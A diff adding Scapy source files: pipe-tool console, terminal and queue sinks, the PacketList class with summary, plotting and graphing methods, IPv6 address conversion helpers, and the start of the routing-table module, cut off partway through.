+
+
+        
+class ConsoleSink(Sink):
+    """Print messages on low and high entries
+     +-------+
+  >>-|--.    |->>
+     | print |
+   >-|--'    |->
+     +-------+
+"""
+    def push(self, msg):
+        print(">%r" % msg)
+    def high_push(self, msg):
+        print(">>%r" % msg)
+
+class RawConsoleSink(Sink):
+    """Print messages on low and high entries
+     +-------+
+  >>-|--.    |->>
+     | write |
+   >-|--'    |->
+     +-------+
+"""
+    def __init__(self, name=None, newlines=True):
+        Sink.__init__(self, name=name)
+        self.newlines = newlines
+        self._write_pipe = 1
+    def push(self, msg):
+        if self.newlines:
+            msg += "\n"
+        os.write(self._write_pipe, msg.encode("utf8"))
+    def high_push(self, msg):
+        if self.newlines:
+            msg += "\n"
+        os.write(self._write_pipe, msg.encode("utf8"))
+
+class CLIFeeder(AutoSource):
+    """Send messages from python command line
+     +--------+
+  >>-|        |->>
+     | send() |
+   >-|   `----|->
+     +--------+
+"""
+    def send(self, msg):
+        self._gen_data(msg)
+    def close(self):
+        self.is_exhausted = True
+
+class CLIHighFeeder(CLIFeeder):
+    """Send messages from python command line to high output
+     +--------+
+  >>-|   .----|->>
+     | send() |
+   >-|        |->
+     +--------+
+"""
+    def send(self, msg):
+        self._gen_high_data(msg)
+
+
+class PeriodicSource(ThreadGenSource):
+    """Generage messages periodically on low exit
+     +-------+
+  >>-|       |->>
+     | msg,T |
+   >-|  `----|->
+     +-------+
+"""
+    def __init__(self, msg, period, period2=0, name=None):
+        ThreadGenSource.__init__(self,name=name)
+        if not isinstance(msg, (list, set, tuple)):
+            msg=[msg]
+        self.msg = msg
+        self.period = period
+        self.period2 = period2
+    def generate(self):
+        while self.RUN:
+            empty_gen = True
+            for m in self.msg:
+                empty_gen = False
+                self._gen_data(m)
+                time.sleep(self.period)
+            if empty_gen:
+                self.is_exhausted = True
+                self._wake_up()
+            time.sleep(self.period2)
+        
+class TermSink(Sink):
+    """Print messages on low and high entries on a separate terminal
+     +-------+
+  >>-|--.    |->>
+     | print |
+   >-|--'    |->
+     +-------+
+"""
+    def __init__(self, name=None, keepterm=True, newlines=True, openearly=True):
+        Sink.__init__(self, name=name)
+        self.keepterm = keepterm
+        self.newlines = newlines
+        self.openearly = openearly
+        self.opened = False
+        if self.openearly:
+            self.start()
+    def _start_windows(self):
+        if not self.opened:
+            self.opened = True
+            self.__f = get_temp_file()
+            open(self.__f, "a").close()
+            self.name = "Scapy" if self.name is None else self.name
+            # Start a powershell in a new window and print the PID
+            cmd = "$app = Start-Process PowerShell -ArgumentList '-command &{$host.ui.RawUI.WindowTitle=\\\"%s\\\";Get-Content \\\"%s\\\" -wait}' -passthru; echo $app.Id" % (self.name, self.__f.replace("\\", "\\\\"))
+            proc = subprocess.Popen([conf.prog.powershell, cmd], stdout=subprocess.PIPE)
+            output, _ = proc.communicate()
+            # This is the process PID
+            self.pid = int(output)
+            print("PID: %d" % self.pid)
+    def _start_unix(self):
+        if not self.opened:
+            self.opened = True
+            rdesc, self.wdesc = os.pipe()
+            cmd = ["xterm"]
+            if self.name is not None:
+                cmd.extend(["-title",self.name])
+            if self.keepterm:
+                cmd.append("-hold")
+            cmd.extend(["-e", "cat <&%d" % rdesc])
+            self.proc = subprocess.Popen(cmd, close_fds=False)
+            os.close(rdesc)
+    def start(self):
+        if WINDOWS:
+            return self._start_windows()
+        else:
+            return self._start_unix()
+    def _stop_windows(self):
+        if not self.keepterm:
+            self.opened = False
+            # Recipe to kill process with PID
+            # http://code.activestate.com/recipes/347462-terminating-a-subprocess-on-windows/
+            import ctypes
+            PROCESS_TERMINATE = 1
+            handle = ctypes.windll.kernel32.OpenProcess(PROCESS_TERMINATE, False, self.pid)
+            ctypes.windll.kernel32.TerminateProcess(handle, -1)
+            ctypes.windll.kernel32.CloseHandle(handle)
+    def _stop_unix(self):
+        if not self.keepterm:
+            self.opened = False
+            self.proc.kill()
+            self.proc.wait()
+    def stop(self):
+        if WINDOWS:
+            return self._stop_windows()
+        else:
+            return self._stop_unix()
+    def _print(self, s):
+        if self.newlines:
+            s+="\n"
+        if WINDOWS:
+            wdesc = open(self.__f, "a")
+            wdesc.write(s)
+            wdesc.close()
+        else:
+            os.write(self.wdesc, s.encode())
+    def push(self, msg):
+        self._print(str(msg))
+    def high_push(self, msg):
+        self._print(str(msg))
+    
+
+class QueueSink(Sink):
+    """Collect messages from high and low entries and queue them. Messages are unqueued with the .recv() method.
+     +-------+
+  >>-|--.    |->>
+     | queue |
+   >-|--'    |->
+     +-------+
+"""
+    def __init__(self, name=None):
+        Sink.__init__(self, name=name)
+        self.q = six.moves.queue.Queue()
+    def push(self, msg):
+        self.q.put(msg)
+    def high_push(self, msg):
+        self.q.put(msg)
+    def recv(self):
+        while True:
+            try:
+                return self.q.get(True, timeout=0.1)
+            except six.moves.queue.Empty:
+                pass
+
+
+class TransformDrain(Drain):
+    """Apply a function to messages on low and high entry
+     +-------+
+  >>-|--[f]--|->>
+     |       |
+   >-|--[f]--|->
+     +-------+
+"""
+    def __init__(self, f, name=None):
+        Drain.__init__(self, name=name)
+        self.f = f
+    def push(self, msg):
+        self._send(self.f(msg))
+    def high_push(self, msg):
+        self._high_send(self.f(msg))
+
+class UpDrain(Drain):
+    """Repeat messages from low entry to high exit
+     +-------+
+  >>-|    ,--|->>
+     |   /   |
+   >-|--'    |->
+     +-------+
+"""
+    def push(self, msg):
+        self._high_send(msg)
+    def high_push(self, msg):
+        pass
+
+class DownDrain(Drain):
+    """Repeat messages from high entry to low exit
+     +-------+
+  >>-|--.    |->>
+     |   \   |
+   >-|    `--|->
+     +-------+
+"""
+    def push(self, msg):
+        pass
+    def high_push(self, msg):
+        self._send(msg)
diff --git a/scapy/plist.py b/scapy/plist.py
new file mode 100644
index 0000000..3301ed0
--- /dev/null
+++ b/scapy/plist.py
@@ -0,0 +1,548 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+PacketList: holds several packets and allows to do operations on them.
+"""
+
+
+from __future__ import absolute_import
+from __future__ import print_function
+import os,subprocess
+from collections import defaultdict
+
+from scapy.config import conf
+from scapy.base_classes import BasePacket,BasePacketList
+from scapy.utils import do_graph,hexdump,make_table,make_lined_table,make_tex_table,get_temp_file
+
+from scapy.consts import plt, MATPLOTLIB_INLINED, MATPLOTLIB_DEFAULT_PLOT_KARGS
+from functools import reduce
+import scapy.modules.six as six
+from scapy.modules.six.moves import filter, range, zip
+
+
+#############
+## Results ##
+#############
+
+class PacketList(BasePacketList):
+    __slots__ = ["stats", "res", "listname"]
+    def __init__(self, res=None, name="PacketList", stats=None):
+        """create a packet list from a list of packets
+           res: the list of packets
+           stats: a list of classes that will appear in the stats (defaults to [TCP,UDP,ICMP])"""
+        if stats is None:
+            stats = conf.stats_classic_protocols
+        self.stats = stats
+        if res is None:
+            res = []
+        elif isinstance(res, PacketList):
+            res = res.res
+        self.res = res
+        self.listname = name
+    def __len__(self):
+        return len(self.res)
+    def _elt2pkt(self, elt):
+        return elt
+    def _elt2sum(self, elt):
+        return elt.summary()
+    def _elt2show(self, elt):
+        return self._elt2sum(elt)
+    def __repr__(self):
+        stats = {x: 0 for x in self.stats}
+        other = 0
+        for r in self.res:
+            f = 0
+            for p in stats:
+                if self._elt2pkt(r).haslayer(p):
+                    stats[p] += 1
+                    f = 1
+                    break
+            if not f:
+                other += 1
+        s = ""
+        ct = conf.color_theme
+        for p in self.stats:
+            s += " %s%s%s" % (ct.packetlist_proto(p._name),
+                              ct.punct(":"),
+                              ct.packetlist_value(stats[p]))
+        s += " %s%s%s" % (ct.packetlist_proto("Other"),
+                          ct.punct(":"),
+                          ct.packetlist_value(other))
+        return "%s%s%s%s%s" % (ct.punct("<"),
+                               ct.packetlist_name(self.listname),
+                               ct.punct(":"),
+                               s,
+                               ct.punct(">"))
+    def __getattr__(self, attr):
+        return getattr(self.res, attr)
+    def __getitem__(self, item):
+        if isinstance(item,type) and issubclass(item,BasePacket):
+            return self.__class__([x for x in self.res if item in self._elt2pkt(x)],
+                                  name="%s from %s"%(item.__name__,self.listname))
+        if isinstance(item, slice):
+            return self.__class__(self.res.__getitem__(item),
+                                  name = "mod %s" % self.listname)
+        return self.res.__getitem__(item)
+    def __getslice__(self, *args, **kargs):
+        return self.__class__(self.res.__getslice__(*args, **kargs),
+                              name="mod %s"%self.listname)
+    def __add__(self, other):
+        return self.__class__(self.res+other.res,
+                              name="%s+%s"%(self.listname,other.listname))
+    def summary(self, prn=None, lfilter=None):
+        """prints a summary of each packet
+prn:     function to apply to each packet instead of lambda x:x.summary()
+lfilter: truth function to apply to each packet to decide whether it will be displayed"""
+        for r in self.res:
+            if lfilter is not None:
+                if not lfilter(r):
+                    continue
+            if prn is None:
+                print(self._elt2sum(r))
+            else:
+                print(prn(r))
+    def nsummary(self, prn=None, lfilter=None):
+        """prints a summary of each packet with the packet's number
+prn:     function to apply to each packet instead of lambda x:x.summary()
+lfilter: truth function to apply to each packet to decide whether it will be displayed"""
+        for i, res in enumerate(self.res):
+            if lfilter is not None:
+                if not lfilter(res):
+                    continue
+            print(conf.color_theme.id(i,fmt="%04i"), end=' ')
+            if prn is None:
+                print(self._elt2sum(res))
+            else:
+                print(prn(res))
+    def display(self): # Deprecated. Use show()
+        """deprecated. is show()"""
+        self.show()
+    def show(self, *args, **kargs):
+        """Best way to display the packet list. Defaults to nsummary() method"""
+        return self.nsummary(*args, **kargs)
+    
+    def filter(self, func):
+        """Returns a packet list filtered by a truth function"""
+        return self.__class__([x for x in self.res if func(x)],
+                              name="filtered %s"%self.listname)
+    def make_table(self, *args, **kargs):
+        """Prints a table using a function that returns for each packet its head column value, head row value and displayed value
+        ex: p.make_table(lambda x:(x[IP].dst, x[TCP].dport, x[TCP].sprintf("%flags%")) """
+        return make_table(self.res, *args, **kargs)
+    def make_lined_table(self, *args, **kargs):
+        """Same as make_table, but print a table with lines"""
+        return make_lined_table(self.res, *args, **kargs)
+    def make_tex_table(self, *args, **kargs):
+        """Same as make_table, but print a table with LaTeX syntax"""
+        return make_tex_table(self.res, *args, **kargs)
+
+    def plot(self, f, lfilter=None, plot_xy=False, **kargs):
+        """Applies a function to each packet to get a value that will be plotted
+        with matplotlib. A list of matplotlib.lines.Line2D is returned.
+
+        lfilter: a truth function that decides whether a packet must be plotted
+        """
+
+        # Get the list of packets
+        if lfilter is None:
+            l = [f(e) for e in self.res]
+        else:
+            l = [f(e) for e in self.res if lfilter(e)]
+
+        # Mimic the default gnuplot output
+        if kargs == {}:
+            kargs = MATPLOTLIB_DEFAULT_PLOT_KARGS
+        if plot_xy:
+            lines = plt.plot(*zip(*l), **kargs)
+        else:
+            lines = plt.plot(l, **kargs)
+
+        # Call show() if matplotlib is not inlined
+        if not MATPLOTLIB_INLINED:
+            plt.show()
+
+        return lines
+
+    def diffplot(self, f, delay=1, lfilter=None, **kargs):
+        """diffplot(f, delay=1, lfilter=None)
+        Applies a function to couples (l[i],l[i+delay])
+
+        A list of matplotlib.lines.Line2D is returned.
+        """
+
+        # Get the list of packets
+        if lfilter is None:
+            l = [f(self.res[i], self.res[i+1])
+                    for i in range(len(self.res) - delay)]
+        else:
+            l = [f(self.res[i], self.res[i+1])
+                    for i in range(len(self.res) - delay)
+                        if lfilter(self.res[i])]
+
+        # Mimic the default gnuplot output
+        if kargs == {}:
+            kargs = MATPLOTLIB_DEFAULT_PLOT_KARGS
+        lines = plt.plot(l, **kargs)
+
+        # Call show() if matplotlib is not inlined
+        if not MATPLOTLIB_INLINED:
+            plt.show()
+
+        return lines
+
+    def multiplot(self, f, lfilter=None, plot_xy=False, **kargs):
+        """Uses a function that returns a label and a value for this label, then
+        plots all the values label by label.
+
+        A list of matplotlib.lines.Line2D is returned.
+        """
+
+        # Get the list of packets
+        if lfilter is None:
+            l = (f(e) for e in self.res)
+        else:
+            l = (f(e) for e in self.res if lfilter(e))
+
+        # Apply the function f to the packets
+        d = {}
+        for k, v in l:
+            d.setdefault(k, []).append(v)
+
+        # Mimic the default gnuplot output
+        if not kargs:
+            kargs = MATPLOTLIB_DEFAULT_PLOT_KARGS
+
+        if plot_xy:
+            lines = [plt.plot(*zip(*pl), **dict(kargs, label=k))
+                     for k, pl in six.iteritems(d)]
+        else:
+            lines = [plt.plot(pl, **dict(kargs, label=k))
+                     for k, pl in six.iteritems(d)]
+        plt.legend(loc="center right", bbox_to_anchor=(1.5, 0.5))
+
+        # Call show() if matplotlib is not inlined
+        if not MATPLOTLIB_INLINED:
+            plt.show()
+
+        return lines
+
+    def rawhexdump(self):
+        """Prints an hexadecimal dump of each packet in the list"""
+        for p in self:
+            hexdump(self._elt2pkt(p))
+
+    def hexraw(self, lfilter=None):
+        """Same as nsummary(), except that if a packet has a Raw layer, it will be hexdumped
+        lfilter: a truth function that decides whether a packet must be displayed"""
+        for i, res in enumerate(self.res):
+            p = self._elt2pkt(res)
+            if lfilter is not None and not lfilter(p):
+                continue
+            print("%s %s %s" % (conf.color_theme.id(i,fmt="%04i"),
+                                p.sprintf("%.time%"),
+                                self._elt2sum(res)))
+            if p.haslayer(conf.raw_layer):
+                hexdump(p.getlayer(conf.raw_layer).load)
+
+    def hexdump(self, lfilter=None):
+        """Same as nsummary(), except that packets are also hexdumped
+        lfilter: a truth function that decides whether a packet must be displayed"""
+        for i, res in enumerate(self.res):
+            p = self._elt2pkt(res)
+            if lfilter is not None and not lfilter(p):
+                continue
+            print("%s %s %s" % (conf.color_theme.id(i,fmt="%04i"),
+                                p.sprintf("%.time%"),
+                                self._elt2sum(res)))
+            hexdump(p)
+
+    def padding(self, lfilter=None):
+        """Same as hexraw(), for Padding layer"""
+        for i, res in enumerate(self.res):
+            p = self._elt2pkt(res)
+            if p.haslayer(conf.padding_layer):
+                if lfilter is None or lfilter(p):
+                    print("%s %s %s" % (conf.color_theme.id(i,fmt="%04i"),
+                                        p.sprintf("%.time%"),
+                                        self._elt2sum(res)))
+                    hexdump(p.getlayer(conf.padding_layer).load)
+
+    def nzpadding(self, lfilter=None):
+        """Same as padding() but only non null padding"""
+        for i, res in enumerate(self.res):
+            p = self._elt2pkt(res)
+            if p.haslayer(conf.padding_layer):
+                pad = p.getlayer(conf.padding_layer).load
+                if pad == pad[0]*len(pad):
+                    continue
+                if lfilter is None or lfilter(p):
+                    print("%s %s %s" % (conf.color_theme.id(i,fmt="%04i"),
+                                        p.sprintf("%.time%"),
+                                        self._elt2sum(res)))
+                    hexdump(p.getlayer(conf.padding_layer).load)
+        
+
+    def conversations(self, getsrcdst=None,**kargs):
+        """Graphes a conversations between sources and destinations and display it
+        (using graphviz and imagemagick)
+        getsrcdst: a function that takes an element of the list and
+                   returns the source, the destination and optionally
+                   a label. By default, returns the IP source and
+                   destination from IP and ARP layers
+        type: output type (svg, ps, gif, jpg, etc.), passed to dot's "-T" option
+        target: filename or redirect. Defaults pipe to Imagemagick's display program
+        prog: which graphviz program to use"""
+        if getsrcdst is None:
+            def getsrcdst(pkt):
+                if 'IP' in pkt:
+                    return (pkt['IP'].src, pkt['IP'].dst)
+                if 'ARP' in pkt:
+                    return (pkt['ARP'].psrc, pkt['ARP'].pdst)
+                raise TypeError()
+        conv = {}
+        for p in self.res:
+            p = self._elt2pkt(p)
+            try:
+                c = getsrcdst(p)
+            except:
+                # No warning here: it's OK that getsrcdst() raises an
+                # exception, since it might be, for example, a
+                # function that expects a specific layer in each
+                # packet. The try/except approach is faster and
+                # considered more Pythonic than adding tests.
+                continue
+            if len(c) == 3:
+                conv.setdefault(c[:2], set()).add(c[2])
+            else:
+                conv[c] = conv.get(c, 0) + 1
+        gr = 'digraph "conv" {\n'
+        for (s, d), l in six.iteritems(conv):
+            gr += '\t "%s" -> "%s" [label="%s"]\n' % (
+                s, d, ', '.join(str(x) for x in l) if isinstance(l, set) else l
+            )
+        gr += "}\n"        
+        return do_graph(gr, **kargs)
+
+    def afterglow(self, src=None, event=None, dst=None, **kargs):
+        """Experimental clone attempt of http://sourceforge.net/projects/afterglow
+        each datum is reduced as src -> event -> dst and the data are graphed.
+        by default we have IP.src -> IP.dport -> IP.dst"""
+        if src is None:
+            src = lambda x: x['IP'].src
+        if event is None:
+            event = lambda x: x['IP'].dport
+        if dst is None:
+            dst = lambda x: x['IP'].dst
+        sl = {}
+        el = {}
+        dl = {}
+        for i in self.res:
+            try:
+                s,e,d = src(i),event(i),dst(i)
+                if s in sl:
+                    n,l = sl[s]
+                    n += 1
+                    if e not in l:
+                        l.append(e)
+                    sl[s] = (n,l)
+                else:
+                    sl[s] = (1,[e])
+                if e in el:
+                    n,l = el[e]
+                    n+=1
+                    if d not in l:
+                        l.append(d)
+                    el[e] = (n,l)
+                else:
+                    el[e] = (1,[d])
+                dl[d] = dl.get(d,0)+1
+            except:
+                continue
+
+        import math
+        def normalize(n):
+            return 2+math.log(n)/4.0
+
+        def minmax(x):
+            m, M = reduce(lambda a, b: (min(a[0], b[0]), max(a[1], b[1])),
+                          ((a, a) for a in x))
+            if m == M:
+                m = 0
+            if M == 0:
+                M = 1
+            return m, M
+
+        mins, maxs = minmax(x for x, _ in six.itervalues(sl))
+        mine, maxe = minmax(x for x, _ in six.itervalues(el))
+        mind, maxd = minmax(six.itervalues(dl))
+    
+        gr = 'digraph "afterglow" {\n\tedge [len=2.5];\n'
+
+        gr += "# src nodes\n"
+        for s in sl:
+            n,l = sl[s]; n = 1+float(n-mins)/(maxs-mins)
+            gr += '"src.%s" [label = "%s", shape=box, fillcolor="#FF0000", style=filled, fixedsize=1, height=%.2f,width=%.2f];\n' % (repr(s),repr(s),n,n)
+        gr += "# event nodes\n"
+        for e in el:
+            n,l = el[e]; n = n = 1+float(n-mine)/(maxe-mine)
+            gr += '"evt.%s" [label = "%s", shape=circle, fillcolor="#00FFFF", style=filled, fixedsize=1, height=%.2f, width=%.2f];\n' % (repr(e),repr(e),n,n)
+        for d in dl:
+            n = dl[d]; n = n = 1+float(n-mind)/(maxd-mind)
+            gr += '"dst.%s" [label = "%s", shape=triangle, fillcolor="#0000ff", style=filled, fixedsize=1, height=%.2f, width=%.2f];\n' % (repr(d),repr(d),n,n)
+
+        gr += "###\n"
+        for s in sl:
+            n,l = sl[s]
+            for e in l:
+                gr += ' "src.%s" -> "evt.%s";\n' % (repr(s),repr(e)) 
+        for e in el:
+            n,l = el[e]
+            for d in l:
+                gr += ' "evt.%s" -> "dst.%s";\n' % (repr(e),repr(d)) 
+            
+        gr += "}"
+        return do_graph(gr, **kargs)
+
+
+    def _dump_document(self, **kargs):
+        import pyx
+        d = pyx.document.document()
+        l = len(self.res)
+        for i, res in enumerate(self.res):
+            c = self._elt2pkt(res).canvas_dump(**kargs)
+            cbb = c.bbox()
+            c.text(cbb.left(),cbb.top()+1,r"\font\cmssfont=cmss12\cmssfont{Frame %i/%i}" % (i,l),[pyx.text.size.LARGE])
+            if conf.verb >= 2:
+                os.write(1, b".")
+            d.append(pyx.document.page(c, paperformat=pyx.document.paperformat.A4,
+                                       margin=1*pyx.unit.t_cm,
+                                       fittosize=1))
+        return d
+                     
+                 
+
+    def psdump(self, filename = None, **kargs):
+        """Creates a multi-page postcript file with a psdump of every packet
+        filename: name of the file to write to. If empty, a temporary file is used and
+                  conf.prog.psreader is called"""
+        d = self._dump_document(**kargs)
+        if filename is None:
+            filename = get_temp_file(autoext=".ps")
+            d.writePSfile(filename)
+            with ContextManagerSubprocess("psdump()"):
+                subprocess.Popen([conf.prog.psreader, filename+".ps"])
+        else:
+            d.writePSfile(filename)
+        print()
+        
+    def pdfdump(self, filename = None, **kargs):
+        """Creates a PDF file with a psdump of every packet
+        filename: name of the file to write to. If empty, a temporary file is used and
+                  conf.prog.pdfreader is called"""
+        d = self._dump_document(**kargs)
+        if filename is None:
+            filename = get_temp_file(autoext=".pdf")
+            d.writePDFfile(filename)
+            with ContextManagerSubprocess("psdump()"):
+                subprocess.Popen([conf.prog.pdfreader, filename+".pdf"])
+        else:
+            d.writePDFfile(filename)
+        print()
+
+    def sr(self,multi=0):
+        """sr([multi=1]) -> (SndRcvList, PacketList)
+        Matches packets in the list and return ( (matched couples), (unmatched packets) )"""
+        remain = self.res[:]
+        sr = []
+        i = 0
+        while i < len(remain):
+            s = remain[i]
+            j = i
+            while j < len(remain)-1:
+                j += 1
+                r = remain[j]
+                if r.answers(s):
+                    sr.append((s,r))
+                    if multi:
+                        remain[i]._answered=1
+                        remain[j]._answered=2
+                        continue
+                    del(remain[j])
+                    del(remain[i])
+                    i -= 1
+                    break
+            i += 1
+        if multi:
+            remain = [x for x in remain if not hasattr(x, "_answered")]
+        return SndRcvList(sr),PacketList(remain)
+
+    def sessions(self, session_extractor=None):
+        if session_extractor is None:
+            def session_extractor(p):
+                sess = "Other"
+                if 'Ether' in p:
+                    if 'IP' in p:
+                        if 'TCP' in p:
+                            sess = p.sprintf("TCP %IP.src%:%r,TCP.sport% > %IP.dst%:%r,TCP.dport%")
+                        elif 'UDP' in p:
+                            sess = p.sprintf("UDP %IP.src%:%r,UDP.sport% > %IP.dst%:%r,UDP.dport%")
+                        elif 'ICMP' in p:
+                            sess = p.sprintf("ICMP %IP.src% > %IP.dst% type=%r,ICMP.type% code=%r,ICMP.code% id=%ICMP.id%")
+                        else:
+                            sess = p.sprintf("IP %IP.src% > %IP.dst% proto=%IP.proto%")
+                    elif 'ARP' in p:
+                        sess = p.sprintf("ARP %ARP.psrc% > %ARP.pdst%")
+                    else:
+                        sess = p.sprintf("Ethernet type=%04xr,Ether.type%")
+                return sess
+        sessions = defaultdict(self.__class__)
+        for p in self.res:
+            sess = session_extractor(self._elt2pkt(p))
+            sessions[sess].append(p)
+        return dict(sessions)
+    
+    def replace(self, *args, **kargs):
+        """
+        lst.replace(<field>,[<oldvalue>,]<newvalue>)
+        lst.replace( (fld,[ov],nv),(fld,[ov,]nv),...)
+          if ov is None, all values are replaced
+        ex:
+          lst.replace( IP.src, "192.168.1.1", "10.0.0.1" )
+          lst.replace( IP.ttl, 64 )
+          lst.replace( (IP.ttl, 64), (TCP.sport, 666, 777), )
+        """
+        delete_checksums = kargs.get("delete_checksums",False)
+        x=PacketList(name="Replaced %s" % self.listname)
+        if not isinstance(args[0], tuple):
+            args = (args,)
+        for p in self.res:
+            p = self._elt2pkt(p)
+            copied = False
+            for scheme in args:
+                fld = scheme[0]
+                old = scheme[1] # not used if len(scheme) == 2
+                new = scheme[-1]
+                for o in fld.owners:
+                    if o in p:
+                        if len(scheme) == 2 or p[o].getfieldval(fld.name) == old:
+                            if not copied:
+                                p = p.copy()
+                                if delete_checksums:
+                                    p.delete_checksums()
+                                copied = True
+                            setattr(p[o], fld.name, new)
+            x.append(p)
+        return x
+
+
+class SndRcvList(PacketList):
+    __slots__ = []
+    def __init__(self, res=None, name="Results", stats=None):
+        PacketList.__init__(self, res, name, stats)
+    def _elt2pkt(self, elt):
+        return elt[1]
+    def _elt2sum(self, elt):
+        return "%s ==> %s" % (elt[0].summary(),elt[1].summary()) 
diff --git a/scapy/pton_ntop.py b/scapy/pton_ntop.py
new file mode 100644
index 0000000..b54a62c
--- /dev/null
+++ b/scapy/pton_ntop.py
@@ -0,0 +1,136 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+Convert IPv6 addresses between textual representation and binary.
+
+These functions are missing when python is compiled
+without IPv6 support, on Windows for instance.
+"""
+
+from __future__ import absolute_import
+import socket
+import re
+import binascii
+from scapy.modules.six.moves import range
+from scapy.compat import *
+
+_IP6_ZEROS = re.compile('(?::|^)(0(?::0)+)(?::|$)')
+_INET6_PTON_EXC = socket.error("illegal IP address string passed to inet_pton")
+
+def _inet6_pton(addr):
+    """Convert an IPv6 address from text representation into binary form,
+used when socket.inet_pton is not available.
+
+    """
+    joker_pos = None
+    result = b""
+    addr = plain_str(addr)
+    if addr == '::':
+        return b'\x00' * 16
+    if addr.startswith('::'):
+        addr = addr[1:]
+    if addr.endswith('::'):
+        addr = addr[:-1]
+    parts = addr.split(":")
+    nparts = len(parts)
+    for i, part in enumerate(parts):
+        if not part:
+            # "::" indicates one or more groups of 2 null bytes
+            if joker_pos is None:
+                joker_pos = len(result)
+            else:
+                # Wildcard is only allowed once
+                raise _INET6_PTON_EXC
+        elif i + 1 == nparts and '.' in part:
+            # The last part of an IPv6 address can be an IPv4 address
+            if part.count('.') != 3:
+                # we have to do this since socket.inet_aton('1.2') ==
+                # b'\x01\x00\x00\x02'
+                raise _INET6_PTON_EXC
+            try:
+                result += socket.inet_aton(part)
+            except socket.error:
+                raise _INET6_PTON_EXC
+        else:
+            # Each part must be 16bit. Add missing zeroes before decoding.
+            try:
+                result += hex_bytes(part.rjust(4, "0"))
+            except (binascii.Error, TypeError):
+                raise _INET6_PTON_EXC
+    # If there's a wildcard, fill up with zeros to reach 128bit (16 bytes)
+    if joker_pos is not None:
+        if len(result) == 16:
+            raise _INET6_PTON_EXC
+        result = (result[:joker_pos] + b"\x00" * (16 - len(result))
+                  + result[joker_pos:])
+    if len(result) != 16:
+        raise _INET6_PTON_EXC
+    return result
+
+
+_INET_PTON = {
+    socket.AF_INET: socket.inet_aton,
+    socket.AF_INET6: _inet6_pton,
+}
+
+
+def inet_pton(af, addr):
+    """Convert an IP address from text representation into binary form."""
+    # Will replace Net/Net6 objects
+    addr = plain_str(addr)
+    # Use inet_pton if available
+    try:
+        return socket.inet_pton(af, addr)
+    except AttributeError:
+        try:
+            return _INET_PTON[af](addr)
+        except KeyError:
+            raise socket.error("Address family not supported by protocol")
+
+
+def _inet6_ntop(addr):
+    """Convert an IPv6 address from binary form into text representation,
+used when socket.inet_pton is not available.
+
+    """
+    # IPv6 addresses have 128bits (16 bytes)
+    if len(addr) != 16:
+        raise ValueError("invalid length of packed IP address string")
+
+    # Decode to hex representation
+    address = ":".join(bytes_hex(addr[idx:idx + 2]).decode().lstrip('0') or '0'
+                       for idx in range(0, 16, 2))
+
+    try:
+        # Get the longest set of zero blocks. We need to take a look
+        # at group 1 regarding the length, as 0:0:1:0:0:2:3:4 would
+        # have two matches: 0:0: and :0:0: where the latter is longer,
+        # though the first one should be taken. Group 1 is in both
+        # cases 0:0.
+        match = max(_IP6_ZEROS.finditer(address),
+                    key=lambda m: m.end(1) - m.start(1))
+        return '{}::{}'.format(address[:match.start()], address[match.end():])
+    except ValueError:
+        return address
+
+
+_INET_NTOP = {
+    socket.AF_INET: socket.inet_ntoa,
+    socket.AF_INET6: _inet6_ntop,
+}
+
+
+def inet_ntop(af, addr):
+    """Convert an IP address from binary form into text representation."""
+    # Use inet_ntop if available
+    addr = raw(addr)
+    try:
+        return socket.inet_ntop(af, addr)
+    except AttributeError:
+        try:
+            return _INET_NTOP[af](addr)
+        except KeyError:
+            raise ValueError("unknown address family %d" % af)
diff --git a/scapy/route.py b/scapy/route.py
new file mode 100644
index 0000000..4a23bbd
--- /dev/null
+++ b/scapy/route.py
@@ -0,0 +1,206 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+Routing and handling of network interfaces.
+"""
+
+
+from __future__ import absolute_import
+
+
+import scapy.consts
+from scapy.config import conf
+from scapy.error import Scapy_Exception, warning
+from scapy.modules import six
+from scapy.utils import atol, ltoa, itom, pretty_list
+
+
+##############################
+## Routing/Interfaces stuff ##
+##############################
+
+class Route:
+    def __init__(self):
+        self.resync()
+        self.invalidate_cache()
+
+    def invalidate_cache(self):
+        self.cache = {}
+
+    def resync(self):
+        from scapy.arch import read_routes
+        self.invalidate_cache()
+        self.routes = read_routes()
+
+    def __repr__(self):
+        rtlst = []
+        for net, msk, gw, iface, addr, metric in self.routes:
+            rtlst.append((ltoa(net),
+                      ltoa(msk),
+                      gw,
+                      (iface.name if not isinstance(iface, six.string_types) else iface),
+                      addr,
+                      str(metric)))
+
+        return pretty_list(rtlst,
+                             [("Network", "Netmask", "Gateway", "Iface", "Output IP", "Metric")])
+
+    def make_route(self, host=None, net=None, gw=None, dev=None, metric=1):
+        from scapy.arch import get_if_addr
+        if host is not None:
+            thenet,msk = host,32
+        elif net is not None:
+            thenet,msk = net.split("/")
+            msk = int(msk)
+        else:
+            raise Scapy_Exception("make_route: Incorrect parameters. You should specify a host or a net")
+        if gw is None:
+            gw="0.0.0.0"
+        if dev is None:
+            if gw:
+                nhop = gw
+            else:
+                nhop = thenet
+            dev, ifaddr, _ = self.route(nhop)
+        else:
+            ifaddr = get_if_addr(dev)
+        return (atol(thenet), itom(msk), gw, dev, ifaddr, metric)
+
+    def add(self, *args, **kargs):
+        """Ex:
+        add(net="192.168.1.0/24",gw="1.2.3.4")
+        """
+        self.invalidate_cache()
+        self.routes.append(self.make_route(*args,**kargs))
+
+        
+    def delt(self,  *args, **kargs):
+        """delt(host|net, gw|dev)"""
+        self.invalidate_cache()
+        route = self.make_route(*args,**kargs)
+        try:
+            i=self.routes.index(route)
+            del(self.routes[i])
+        except ValueError:
+            warning("no matching route found")
+             
+    def ifchange(self, iff, addr):
+        self.invalidate_cache()
+        the_addr,the_msk = (addr.split("/")+["32"])[:2]
+        the_msk = itom(int(the_msk))
+        the_rawaddr = atol(the_addr)
+        the_net = the_rawaddr & the_msk
+        
+        
+        for i, route in enumerate(self.routes):
+            net, msk, gw, iface, addr, metric = route
+            if scapy.consts.WINDOWS:
+                if iff.guid != iface.guid:
+                    continue
+            elif iff != iface:
+                continue
+            if gw == '0.0.0.0':
+                self.routes[i] = (the_net,the_msk,gw,iface,the_addr,metric)
+            else:
